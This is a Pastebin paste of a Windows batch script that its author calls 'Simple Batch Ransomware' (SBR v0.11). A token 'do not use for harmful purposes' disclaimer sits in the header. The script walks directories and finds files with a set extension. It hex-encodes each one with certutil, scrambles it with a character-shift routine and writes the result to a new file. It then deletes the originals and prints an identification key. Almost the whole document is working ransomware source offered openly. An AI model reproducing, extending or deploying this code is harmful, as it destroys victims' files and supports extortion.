Lukas05555

SBR v 0.11

Nov 27th, 2020 (edited)
844
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. REM -- *-------------------------------------------------* -- REM
  2. REM -- Batch ransomware with private key generation. -- REM
  3. REM -- IT TAKES A LOT TO ENCRYPT ONE FILE!! -- REM
  4. REM -- USE AT YOUR OWN RISK !!!!! -- REM
  5. REM -- DO NOT USE THIS FOR HARMFULL PORPUSES -- REM
  6. REM -- PUBLIC KEY COMING SOON - DONE !!! -- REM
  7. REM -- ADD SUPPORT FOR MORE EXTENSIONS - COMING SOON -- REM
  8. REM -- Simple Batch Ransomware / [SBR] -- REM
  9. REM -- MANY NEW FEATURES COMMING SOON !! -- REM
  10. REM -- If you want to get beta version go to this link -- REM
  11. REM -- https://pastebin.com/86DWU761 -- REM
  12. REM -- *-------------------------------------------------* -- REM
  13.  
  14. @echo off
  15. chcp 1252
  16. title SBR 0.10
  17. color 2
  18. setlocal EnableDelayedExpansion
  19. set "Alphabet=0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
  20. set "lowCase=abcdefghijklmnopqrstuvwxyz"
  21. setlocal DisableDelayedExpansion
  22. set "inString=%~2"
  23. SET /A a=%RANDOM% * 1024 / 32768 + 512
  24. SET /A b=%RANDOM% * 1024 / 32768 + 512
  25. set maxLen=%a%
  26. set offset=%b%
  27. set r=%random%%random%
  28. set privatekey=%a%.%b%.%r%.privatekey
  29. set publickey=publickey.%r%
  30. set extension=encodeme
  31.  
  32. setlocal EnableDelayedExpansion
  33. cls
  34. for /f "tokens=*" %%X in ('dir /b /s /o:s *.%extension%') do (
  35.  certutil -encodehex -f "%%X" "%%X.bak" 1
  36.   cls
  37.   for /F "tokens=*" %%A in ('type "%%X.bak"') do (
  38.      cls
  39.      SET "line=%%A"
  40.      call :A %offset% "!line!" a=
  41.      echo %extension%.%publickey%.!a! >> "%%X.%r%"
  42.      type nul > "%%X.bak"
  43.      type nul > "%%X"
  44.      del /Q "%%X.bak"
  45.      del /Q "%%X"
  46.      )
  47.   )
  48. echo All files with extension : *.%extension%
  49. echo Your public key for identifiacation : %publickey%
  50. echo Encrypted files :
  51. dir /b /s /o:s *.%r%
  52. pause
  53. exit
  54.  
  55. :A offset "input string" outVar=
  56. setlocal DisableDelayedExpansion
  57. set "inString=%~2"
  58. setlocal EnableDelayedExpansion
  59. for /L %%i in (0,1,61) do (
  60.     set /A "i=(%%i + %1) %% 62"
  61.     set c["!Alphabet:~%%i,1!"]=!i!
  62. )
  63. set "outVar="
  64. for /L %%i in (0,1,%maxLen%) do (
  65.    set "char=!inString:~%%i,1!"
  66.    if defined char (
  67.       for /F "delims=" %%c in ("!char!") do (
  68.          if defined c["%%c"] (
  69.             set j=!c["%%c"]!
  70.             if "!lowCase:%%c=%%c!" neq "%lowCase%" set /A "j-=26"
  71.             for /F %%j in ("!j!") do set "outVar=!outVar!!Alphabet:~%%j,1!"
  72.          ) else (
  73.             set "outVar=!outVar!!char!"
  74.          )
  75.       )
  76.    )
  77. )
  78.  
  79. (
  80. endlocal
  81. for /F "delims=" %%a in ("%outVar:!=^!%") do endlocal & set "%3=%%a"
  82. )
RAW Paste Data